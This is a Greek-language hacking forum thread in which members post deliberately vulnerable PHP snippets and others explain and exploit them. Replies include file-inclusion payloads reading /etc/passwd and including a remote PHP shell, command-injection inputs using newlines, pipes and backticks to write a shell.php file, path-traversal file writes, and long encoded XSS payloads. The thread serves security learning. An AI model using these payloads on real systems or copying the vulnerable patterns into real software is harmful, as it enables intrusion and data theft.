Μετάβαση στο περιεχόμενο
  • ChatBox

    ChatBox

    Chatroom Rules

    • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
    • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
    • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
    • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.

Recommended Posts

gcoder

Ένα απλό παιχνίδι που μπορούμε να παίξουμε και να μάθουμε για το hacking.

Σε αυτό το θέμα θα ποστάρουμε κάποιον κώδικα ο οποίος είναι ευάλωτος σε κάποιο κενό ασφαλείας. ο  Επόμενος που θα τον δει θα πρέπει να βρει το κενό ασφαλείας και να γράψει γιατί είναι λάθος και πως θα μπορούσε να το εκμεταλλευτεί κάποιος. Αυτός που έβαλε τον κώδικα θα πρέπει να δει τη έκανε ο άλλος που περίγραψε πως λειτουργεί και exploitarete το κενό, και αν είναι σωστός ή αν είναι αυτό που έχει στο κεφάλι του, τότε του δίνει <<άδεια>> να ανεβάσει νέο κώδικα ο όποιος είναι ευάλωτος για να τον τεστάρουν τα άτομα του φόρουμ. (μπορεί να υπάρχουν πάνω από 1 κενά σε κάποιον κώδικα και αυτός που έφτιαξε τον κώδικα να μην τα γνωρίζει όλα... για αυτό πρέπει να δώσει την <<άδεια>> στον άλλον για να ανέβει νέος κώδικας. Για να εξαντληθούν όλα τα κενά)

Κανόνες:

[hide]

1)Δεν βάζω κώδικα πάνω από 50 γραμμές.
2)Η απάντηση σας πρέπει να είναι μέσα σε spoiler γιατί μπορεί να θέλουν και άλλα άτομα να το προσπαθήσουν μόνοι τους (το μάτι στο πάνω menu στο όποιο μπορούμε να αλλάξουμε το μέγεθος για τα γράμματα... αν πάτε πάνω το βελάκι σας κάποιο λέει spiler.)
3)Αν προσπαθήσουν το λιγότερο τρία άτομα  μέσα σε μια βδομάδα και δεν έχει βρεθεί λύση θα πρέπει αυτός που έβαλε τον κώδικα να πει και τι πρόβλημα υπάρχει και πως μπορεί να το εκμεταλλευτεί κάποιος.(πρέπει να προσπαθούν για μια βδομάδα και να υπάρχουν τουλάχιστον τρία άτομα που να έχουν ποστάρει ότι προσπάθησαν και δεν τα κατάφεραν)
4)Αν κάποιος προσπαθήσει πάνω από 45 λεπτά θα πρέπει να ποστάρι ότι έχει προσπαθήσει και επέτυχε (για τον παραπάνω κανόνα αυτό)

 

5)Αν μέσα σε δύο βδομάδες η κατάσταση είναι σε φάση: Άκρα του τάφου σιωπή. Αυτός που έβαλε τον κώδικα θα γράψει που ήταν το πρόβλημα. Όποιος προλάβει βάζει νέο κώδικα για να συνεχιστεί το παιχνίδι.

 

 

Ξεκινάω εγώ με κάποιον php κώδικα.

<?php
$path = "gallery/".$_GET['page'];
echo readfile($path);
?>

[/hide]

Edited by Alex

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

jj.12
Spoiler

Δεν ξερω γρι απο php. Αλλα απο οτι βλεπω το 'name' δε φιλτραρεται. Οποτε λογικα καποιος θα μπορουσε να διαβασει οποιοδηποτε αρχειο υπαρχει μεσα στο καταλογο gallery. Ισως δε διαβασα σωστα το κωδικα. Just wondering...

 

Edited by jj.12

ezgif.com-resize.gif

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Guest
Spoiler

LFI-RFI , η μεταβλητή path καθορίζεται από την διαδρομή gallery/* και ένα GET request σε οποιαδήποτε σελίδα ['page'] . Το $_GET request θα έπρεπε να φιλτράρεται και να καθορίζεται το "scope" της ['page'].

ένας τρόπος εκμεταλλεύσεις θα ήταν να έχουμε ένα δικό μας κώδικα, ας υποθέσουμε ένα shell στον server μας και να 'στείλουμε το GET request να διαβάσει τον κώδικα μας. 

paradeigma_1 : www.example.com/gallery.php?page=http://127.0.0.1/my_php_shell.php (RFI)
paradeigma_2 : www.example.com/gallery.php?page=../../../../../etc/passwd (LFI)

Απο τα ποιο ενδιαφερον θεματα του φορουμ, ωραια ιδεα @gcoder

Edited by Demien

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder
2 hours ago, Demien said:
  Hide contents

LFI-RFI , η μεταβλητή path καθορίζεται από την διαδρομή gallery/* και ένα GET request σε οποιαδήποτε σελίδα ['page'] . Το $_GET request θα έπρεπε να φιλτράρεται και να καθορίζεται το "scope" της ['page'].

ένας τρόπος εκμεταλλεύσεις θα ήταν να έχουμε ένα δικό μας κώδικα, ας υποθέσουμε ένα shell στον server μας και να 'στείλουμε το GET request να διαβάσει τον κώδικα μας. 

paradeigma_1 : www.example.com/gallery.php?page=http://127.0.0.1/my_php_shell.php (RFI)
paradeigma_2 : www.example.com/gallery.php?page=../../../../../etc/passwd (LFI)

Απο τα ποιο ενδιαφερον θεματα του φορουμ, ωραια ιδεα @gcoder

Πολύ ωραία απάντηση... Ναι αυτό είχα στο μυαλό μου... σειρά σου να ανεβάσεις κώδικα @Demien

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Guest

Οσοι δεν εχετε διαβασει το αρχικο ποστ και τους κανονες του παιχνιδιου να το κανετε πριν ποσταρετε της απαντησεις σας. 

Ο παρακατω κωδικας ειναι ευαλοτος , αλλα σε τι ? Πως θα μπορουσε καποιος αφου πρωτα εχει βρει το κενο να  το εκμεταλευτη  ? 

Παρακαλω γραψτε την εξηγηση σας μαζι με το πως θα μπορουσε να εκμεταλευτη καποιος τον κωδικα μαζι με ενα παραδειγμα

<?php 
    $cmd = "ls -alh ".str_replace(';', ' ', $_REQUEST['path']);
    passthru($cmd);
?>

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

jj.12

Μπορει να λεω βλακειες! Πιθανο input :

Spoiler

www.example.com/...path=&&%20κακοβουλοςκωδικας

 

ezgif.com-resize.gif

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Guest
11 hours ago, jj.12 said:

Μπορει να λεω βλακειες! Πιθανο input :

  Reveal hidden contents

www.example.com/...path=&&%20κακοβουλοςκωδικας

 

Το exploitation δεν ειναι σωστο , επισεις και ο σκοπος του παιχνιδιου δεν ειναι μονο να ποσταρουμε το exploit αλλα να εξηγησουμε το γιατι και πως. Δες ας πουμε την απαντηση μου στον κωσικα του @gcoder.

Tip: ανεβαστε τον κωδικα σε καποιον σερβερ και δοκιμαστε διαφορα exploits.

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Guest
On 12 Οκτωβρίου 2016 at 10:24 PM, Demien said:

Οσοι δεν εχετε διαβασει το αρχικο ποστ και τους κανονες του παιχνιδιου να το κανετε πριν ποσταρετε της απαντησεις σας. 

Ο παρακατω κωδικας ειναι ευαλοτος , αλλα σε τι ? Πως θα μπορουσε καποιος αφου πρωτα εχει βρει το κενο να  το εκμεταλευτη  ? 

Παρακαλω γραψτε την εξηγηση σας μαζι με το πως θα μπορουσε να εκμεταλευτη καποιος τον κωδικα μαζι με ενα παραδειγμα


<?php 
    $cmd = "ls -alh ".str_replace(';', ' ', $_REQUEST['path']);
    passthru($cmd);
?>

 

Τι εγινε ρε παιδιά κανεις δεν ασχολείται ´η ειναι τόσο δύσκολο ? 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder

@Demien Πολύ ωραίο παράδειγμα.

Spoiler

υπάρχει κενό ασφαλείας remote command execution. Ο δημιουργός νομίζει ότι το εμπόδισε απαλείφοντας το ; το όποιο τερματίζει την εντολή. Βάζοντας όμως %0A μπορούμε να εκτελέσουμε δεύτερη εντολή. Το %0A είναι χαρακτήρας HTML για νέα γραμμή. Π.χ (http://localhost/html/index.php?path=/home/%0Αwhoami)

Με ποιο απλά λόγια το σύστημα θα δει το %0Α και θα νομίζει ότι ο χρήστης πάτησε enter και πληκτρολογεί κάποια άλλη εντολή.

Το παράξενο είναι ότι θα έπρεπε να δουλεύει και κάτι άλλο, μάλλον κάτι πάει στραβά με το σύστημα μου (γιατί το δοκίμασα εκεί)... Δεν θα πω τι είναι, περιμένω να το δοκιμάσει κάποιος και να μας πει αν δουλεύει ή αν δεν δουλεύει και γιατί!

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Guest
56 minutes ago, gcoder said:

@Demien Πολύ ωραίο παράδειγμα.

  Hide contents

υπάρχει κενό ασφαλείας remote command execution. Ο δημιουργός νομίζει ότι το εμπόδισε απαλείφοντας το ; το όποιο τερματίζει την εντολή. Βάζοντας όμως %0A μπορούμε να εκτελέσουμε δεύτερη εντολή. Το %0A είναι χαρακτήρας HTML για νέα γραμμή. Π.χ (http://localhost/html/index.php?path=/home/%0Αwhoami)

Με ποιο απλά λόγια το σύστημα θα δει το %0Α και θα νομίζει ότι ο χρήστης πάτησε enter και πληκτρολογεί κάποια άλλη εντολή.

Το παράξενο είναι ότι θα έπρεπε να δουλεύει και κάτι άλλο, μάλλον κάτι πάει στραβά με το σύστημα μου (γιατί το δοκίμασα εκεί)... Δεν θα πω τι είναι, περιμένω να το δοκιμάσει κάποιος και να μας πει αν δουλεύει ή αν δεν δουλεύει και γιατί!

 

Πολυ σωστός @gcoder, άλλες πιθανές λύσης : 

Www.example.com/index.php?path=/Desktop | ping Google.com -c3 

Www.example.com/index.php?path=/Desktop%26%26 ping google.com -c3 

%26 = & σε html encoding 

@gcoder η σειρά σου ξανα-ποστάρεις κώδικα 

Edited by Demien

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder

Τέταρτος Τρόπος χαχαχ Καλή τύχη σε όλους!


<?php 
    $cmd = "ls -alh ";
    $cmd1 = str_replace(';', ' ', $_REQUEST['path']);
    $cmd1 = str_replace('|',' ', $cmd1);
    $cmd1 = str_replace('&',' ', $cmd1);
    $cmd1 = str_replace('\n',' ', $cmd1);
	$cmd1 = str_replace('\r',' ', $cmd1);
	$cmd1 = str_replace(PHP_EOL, ' ', $cmd1);
	$cmd1 = $cmd1.";";



	//echo "<pre>$cmd.$cmd1</pre>";
    passthru($cmd.$cmd1);
?>

Υ.Γ: Ο κώδικας διορθώθηκε.

Edited by gcoder

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

jj.12
Just now, gcoder said:

Τέταρτος Τρόπος χαχαχ Καλή τύχη σε όλους!



<?php 
    $cmd = "ls -alh ".str_replace(';', ' ', $_REQUEST['path']);
    $cmd = str_replace('|',' ',$cmd);
    $cmd = str_replace('&',' ',$cmd);
	//echo $cmd;
    passthru($cmd);
?>

 

Spoiler

Ο κωδικας σου ειναι ακομα ευαλωτος στο εξης http://localhost/dashboard/test.php?path=%0Awhoami

Σε περιπτωση που ξεχασες να συμπεριλαβεις καποιο escape για αυτο, αν το συμπεριλαβεις τοτε σκουρα τα πραγματα...

 

ezgif.com-resize.gif

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder
1 hour ago, jj.12 said:
  Hide contents

Ο κωδικας σου ειναι ακομα ευαλωτος στο εξης http://localhost/dashboard/test.php?path=%0Awhoami

Σε περιπτωση που ξεχασες να συμπεριλαβεις καποιο escape για αυτο, αν το συμπεριλαβεις τοτε σκουρα τα πραγματα...

 

Έχεις δίκιο... δεν εννοούσα αυτό... λόγο ταχύτητας ξέχασα να διορθώσω και αυτό το κενό! Υπάρχει άλλη λύση που ίσως να είναι ακόμα ποιο εύκολη. Ο Κώδικας διορθώθηκε!

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder

Νέα Λειτουργία: Λόγο του τεράστιου ενδιαφέροντος που έχει το παιχνίδι από τους υπερβολικούς χρήστες που ασχολούνται με αυτό λέω να βάλουμε μια νέα λειτουργία... Αν μέσα σε δύο βδομάδες η κατάσταση είναι σε φάση: Άκρα του τάφου σιωπή. Αυτός που έβαλε τον κώδικα θα γράψει που ήταν το πρόβλημα. Όποιος προλάβει βάζει νέο κώδικα για να συνεχιστεί το παιχνίδι.

Πείτε μου αν διαφωνεί κανείς με το παραπάνω. Αν δεν διαφωνείτε σε λίγες μέρες θα το βάλω κανονικά σαν κανόνα στο θέμα!

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder

Προσθέτετε η λειτουργία σαν κανόνας εφόσον δεν διαφωνεί κανείς.

Spoiler

 

Επιπλέον ο τρόπος για να σπάσουμε τον παραπάνω κώδικα είναι χρησιμοποιώντας το `. Είναι ιδικός χαρακτήρας που σε αφήνει να εκτελέσεις εντολές εντελώς αυτόνομα από την προηγούμενη εντολή. Για παράδειγμα. γράφοντας:

ls /home/`echo "Shell code edw pera">shell.php` Μπορούμε να δημιουργήσουμε ένα αρχείο στον server με την κατάληξη php οπού θα έχει σαν περιεχόμενο ότι έχουμε βάλει μέσα στα "". Τώρα θα πω τι ακριβός έγινε. ότι είναι μέσα στα ` θα εκτελεστεί κανονικά σαν εντολή. Δηλαδή αυτό echo "Shell code edw pera">shell.php εκτελείτε μόνο του.  αν δεν υπήρχε το > shell.php τότε η εντολή echo θα τύπωνε στο τερματικό Shell code edw pera. Το αποτέλεσμα μιας εντολής που βρίσκεται μέσα σε `` επιστρέφετε σαν input για τιν πρώτη εντολή. Για παράδειγμα η πρώτη εντολή θα γινόταν έτσι: ls /home/shell code edw pera. Αλλά με αυτό > shell.php κατευθύναμε τα δεδομένα σε ένα αρχείο με το όνομα php. Αυτό θα έχει σαν αποτέλεσμα το shellcode edw pera να αποθηκεύεται στο αρχείο shell.php με αποτέλεσμα να μην εμφανίζεται τίποτα στο τερματικό από αυτήν την εντολή. Το όποιο σημαίνει ότι η πρώτη εντολή θα μείνει ανέπαφη. Δηλαδή θα εκτελεστεί ls /home/. Κάπως έτσι καταφέραμε να εκτελέσουμε δύο εντολές εντελώς αυτόνομα. Κάτι το όποιο το κάνει ακόμα ποιο δυνατό είναι ότι οι χαρακτήρες θα μπορούσαν να είναι οπουδήποτε. Για παράδειγμα: ls /ho`shellaki Edw > GcoderWasHere.php`me/ ή l`echo "Broken Code">31173.php`s /home/

 

Όποιος προλάβει ανεβάζει κώδικα για να τον σπάσουμε ;)

Υ.Γ: Για τα αρχάρια άτομα ή τα άτομα που θέλουν να αποκτήσουν εμπειρία αυτός είναι ένας αρκετά καλώς τρόπος! Βάλαμε έναν κώδικα και αρχικά είχα στο μυαλό μου μια λύση... τώρα έχω 5. Μπορείτε να κατανοήσετε την διαφορά!

Edited by gcoder

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Guest

Ας κάνω την νέα αρχή. 

Πρόσφατα επεσα πανω σε ενα php script ευαλωτο σε xss .  Σας παραθετο τον κωδικα , σκοπος ειναι να πραγματοπιεισετε xss με οποιο τροπο εκτος server side. 

Ανεβαστε τον κωδικα σε καποιον σερβερ οπως xampp, lampp, apache, nginx etc και καντε της δοκιμες σας. 

Οποιος το βρει καλο θα ηταν να ενεβασει screenshot.

<?php
        $NAME=$_GET['name'];
        $NAMESAN=strtoupper(htmlspecialchars($NAME));
        echo "<HTML><body>";

        echo '<form action="">';
        echo "First name: <input type='text' name='name' value='".$NAMESAN."'><br>";
        echo "<input type='submit' value='Submit form'></form>";

        echo "</HTML></body>";
?>

Τime count : 1 βδομαδα

1 Hint : σε 3 μερες εαν δεν το εχει βρει κανεις

Tip 1: Javascript will fuck your brain (sorry για την γλωσσα :p )

Edited by Demien

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder
On 15/11/2016 at 0:12 PM, Demien said:

Ας κάνω την νέα αρχή. 

Πρόσφατα επεσα πανω σε ενα php script ευαλωτο σε xss .  Σας παραθετο τον κωδικα , σκοπος ειναι να πραγματοπιεισετε xss με οποιο τροπο εκτος server side. 

Ανεβαστε τον κωδικα σε καποιον σερβερ οπως xampp, lampp, apache, nginx etc και καντε της δοκιμες σας. 

Οποιος το βρει καλο θα ηταν να ενεβασει screenshot.


<?php
        $NAME=$_GET['name'];
        $NAMESAN=strtoupper(htmlspecialchars($NAME));
        echo "<HTML><body>";

        echo '<form action="">';
        echo "First name: <input type='text' name='name' value='".$NAMESAN."'><br>";
        echo "<input type='submit' value='Submit form'></form>";

        echo "</HTML></body>";
?>

Τime count : 1 βδομαδα

1 Hint : σε 3 μερες εαν δεν το εχει βρει κανεις

Tip 1: Javascript will fuck your brain (sorry για την γλωσσα :p )

Πιθανότατα το ποιο ενδιαφέρον XSS που έχω δει!

Qoq9sd4.jpg

 

Λύσει:

Spoiler

 

Αρχικά το μόνο που δημιουργεί πρόβλημα είναι το uppercase μιας και το htmlspecialchars το προσπερνάμε κανονικότατα με το '. Όποτε πρέπει να βρούμε έναν τρόπο να εκτελέσουμε javascript με κεφαλαία γράμματα. Τα μόνα γράμματα που δεν διακρίνονται σε κεφαλαία και μη είναι τα σύμβολα! Για καλή μας τύχει υπάρχει μια ιστοσελίδα που παίρνει τον κώδικα μας και τον κωδικοποιεί σε σύμβολα με έναν ειδικό τρόπο που ισχύουν μόνο οι λογικές πράξεις στην javascript. Με αυτόν τον τρόπο μπορούμε μέσω τον λογικών πράξεων (αληθές η ψευδές) να βρούμε τον δεκαδικό αριθμό του κάθε χαρακτήρα και να τον εκτελέσουμε. φτιάχνοντας έτσι ολόκληρες εντολές.

Η ιστοσελίδα είναι αυτή: http://www.jsfuck.com/

Το payload μου: http://localhost/hackersgame/damienxss.php?name=asdä'+onmouseover='[][(![]%2b[])[%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]][([][(![]%2b[])[%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[%2b!%2b[]]]((![]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(![]%2b[][(![]%2b[])[%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]])[!%2b[]%2b!%2b[]%2b[%2b[]]]%2b[%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]])[!%2b[]%2b!%2b[]%2b[%2b[]]])()

 

 

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder

Πάμε!!!!

<?php

	//Den exw skeftei akoma ti challenge 8a valw alla exw 3ekinisi na grafo kwdika :/
	
	$data = $_GET['data'];
	$name = str_replace(".php",".txt",$_GET['name']);

	//echo $name;
	//echo $data;
	$myfile = fopen($name, "w") or die("Unable to open file!");
	fwrite($myfile,$data);
	fclose($myfile);
?>

Ευκολάκι ε?

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Newcomer
19 hours ago, gcoder said:

Πάμε!!!!


<?php

	//Den exw skeftei akoma ti challenge 8a valw alla exw 3ekinisi na grafo kwdika :/
	
	$data = $_GET['data'];
	$name = str_replace(".php",".txt",$_GET['name']);

	//echo $name;
	//echo $data;
	$myfile = fopen($name, "w") or die("Unable to open file!");
	fwrite($myfile,$data);
	fclose($myfile);
?>

Ευκολάκι ε?

 

###SPOILER### I forgot to add it :(

Spoiler

Εχουμε μια περιπτωση στην οποια μπορουμε να γραψουμε σε ενα αρχειο . Εαν θελουμε να γραψουμε σε ενα αρχειο .php θα εχουμε προβλημα γιατι η καταληξη θα αλλαξει (str_replace()). Αλλα δεν θα σταματησουμε εκει . Μπορουμε να γραψουμε (αφου εχουμε τα καταλληλα privs ) πχ. σε ενα crontab ή σε καποιο αρχειο που θα μας δωσει την δυνατοτητα να κερδισουμε κατι (εξαρταται απο το πως ειναι codarismeno το app.). Προσοχη ομως γιατι εξετιας του "w" mode θα διαγραφουν ολα τα contents του αρχειου ! Ξεχασα και το καλυτερο ... εαν εχουμε write privs στον αντιστοιχο φακελο μπορουμε να δημιουργησουμε και αρχειο με μια αλλη καταληξη εκτος απο php ex .phtml !

 

Edited by gcoder
spoiler

fsociety

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder
4 hours ago, Newcomer said:

###SPOILER### I forgot to add it :(

  Reveal hidden contents

Εχουμε μια περιπτωση στην οποια μπορουμε να γραψουμε σε ενα αρχειο . Εαν θελουμε να γραψουμε σε ενα αρχειο .php θα εχουμε προβλημα γιατι η καταληξη θα αλλαξει (str_replace()). Αλλα δεν θα σταματησουμε εκει . Μπορουμε να γραψουμε (αφου εχουμε τα καταλληλα privs ) πχ. σε ενα crontab ή σε καποιο αρχειο που θα μας δωσει την δυνατοτητα να κερδισουμε κατι (εξαρταται απο το πως ειναι codarismeno το app.). Προσοχη ομως γιατι εξετιας του "w" mode θα διαγραφουν ολα τα contents του αρχειου ! Ξεχασα και το καλυτερο ... εαν εχουμε write privs στον αντιστοιχο φακελο μπορουμε να δημιουργησουμε και αρχειο με μια αλλη καταληξη εκτος απο php ex .phtml !

 

Καλό και αυτό, αλλά υπάρχει και άλλο... για την ακρίβεια είναι ακόμα ποιο απλό ;)

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

NiKR
<?php
	if(isset($_POST['submit']))
	{
	    $word = $_POST['word'];
	    echo "The form submitted with the word : $word";
	    echo "<br>You can use the form to put a new word again.";
	}
	?>
	<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
	   <input type="text" name="word"><br>
	   <input type="submit" name="submit" value="Submit"><br>
	</form>

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

trial
On 11/26/2016 at 10:58 PM, gcoder said:

Πάμε!!!!


<?php

	//Den exw skeftei akoma ti challenge 8a valw alla exw 3ekinisi na grafo kwdika :/
	
	$data = $_GET['data'];
	$name = str_replace(".php",".txt",$_GET['name']);

	//echo $name;
	//echo $data;
	$myfile = fopen($name, "w") or die("Unable to open file!");
	fwrite($myfile,$data);
	fclose($myfile);
?>

Ευκολάκι ε?

 

Δεν ξέρω αν θεωρείται ενεργό ακόμη αυτό το post αλλά το πρόβλημα με το συγκεκριμένο (μιας και ο @gcoder είπε πως υπάρχει και άλλη λύση) είναι ότι το name όντος δεν μπορεί να είναι .php αλλά υπάρχει vulnerability τύπου PATH TRAVERSAL. Ένας κακόβουλος χρήστης μπορεί να γράψει ότι αρχείο θέλει με ότι data θέλει με την ακόλουθη μέθοδο:

www.example.com/forum/index.php?data=name.extension&name=../fileinindex

----------

 

On 1/31/2018 at 11:27 PM, NiKR said:

<?php
	if(isset($_POST['submit']))
	{
	    $word = $_POST['word'];
	    echo "The form submitted with the word : $word";
	    echo "<br>You can use the form to put a new word again.";
	}
	?>
	<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
	   <input type="text" name="word"><br>
	   <input type="submit" name="submit" value="Submit"><br>
	</form>

 

Ο κώδικας του @NiKR δεν κάνει σωστά execute αλλά φαντάζομαι πως θα ήθελε να κάνει demonstrate ένα κενό τύπου XSS μιας και οποιοδήποτε string γίνει echo μπορεί να γίνει execute στο client-side από τον ίδιο τον browser.

π.χ.

αν για word κάποιος κάνει submit στο κουτάκι 

<script>alert("XSS VULNERABLE");</script>

θα εμφανιστεί το message box.

ελπίζω να ζωντάνεψε λίγο το ποστ. 

Edited by trial

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

gcoder
25 λεπτά πριν, trial said:

Δεν ξέρω αν θεωρείται ενεργό ακόμη αυτό το post αλλά το πρόβλημα με το συγκεκριμένο (μιας και ο @gcoder είπε πως υπάρχει και άλλη λύση) είναι ότι το name όντος δεν μπορεί να είναι .php αλλά υπάρχει vulnerability τύπου PATH TRAVERSAL. Ένας κακόβουλος χρήστης μπορεί να γράψει ότι αρχείο θέλει με ότι data θέλει με την ακόλουθη μέθοδο:


www.example.com/forum/index.php?data=name.extension&name=../fileinindex

----------

 

Ο κώδικας του @NiKR δεν κάνει σωστά execute αλλά φαντάζομαι πως θα ήθελε να κάνει demonstrate ένα κενό τύπου XSS μιας και οποιοδήποτε string γίνει echo μπορεί να γίνει execute στο client-side από τον ίδιο τον browser.

π.χ.

αν για word κάποιος κάνει submit στο κουτάκι 


<script>alert("XSS VULNERABLE");</script>

θα εμφανιστεί το message box.

ελπίζω να ζωντάνεψε λίγο το ποστ. 

Μπορεί να είναι php... πχ test.PHP (κεφαλέα αντί για μικρά) Τόσο απλό

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

NiKR

Θα βαλω ενα καινουργιο για να ζωντανεψει το post.Στο προηγουμενο που εβαλα το προβλημα ηταν στην $_SERVER['PHP_SELF'] που δεν ειχε καμια ασφαλεια οποτε περναγε XSS.

 

<?php


if (empty($_POST['hmac']) || empty($_POST['host'])) {
	header('HTTP/1.0 400 Bad Request');
	exit;
}

$secret = getenv("SECRET");

if (isset($_POST['nonce'])) {
	$secret = hash_hmac('sha256', $_POST['nonce'], $secret);
}

$hmac = hash_hmac('sha256', $_POST['host'], $secret);

if ($hmac !== $_POST['hmac']) {
	header('HTTP/1.0 403 Forbidden');
	exit;
}
echo exec("host ".$_POST['host']);

?>

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Απάντηση στο θέμα...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



ChatBox

ChatBox

Chatroom Rules

  • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
  • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
  • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
  • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.
×
×
  • Create New...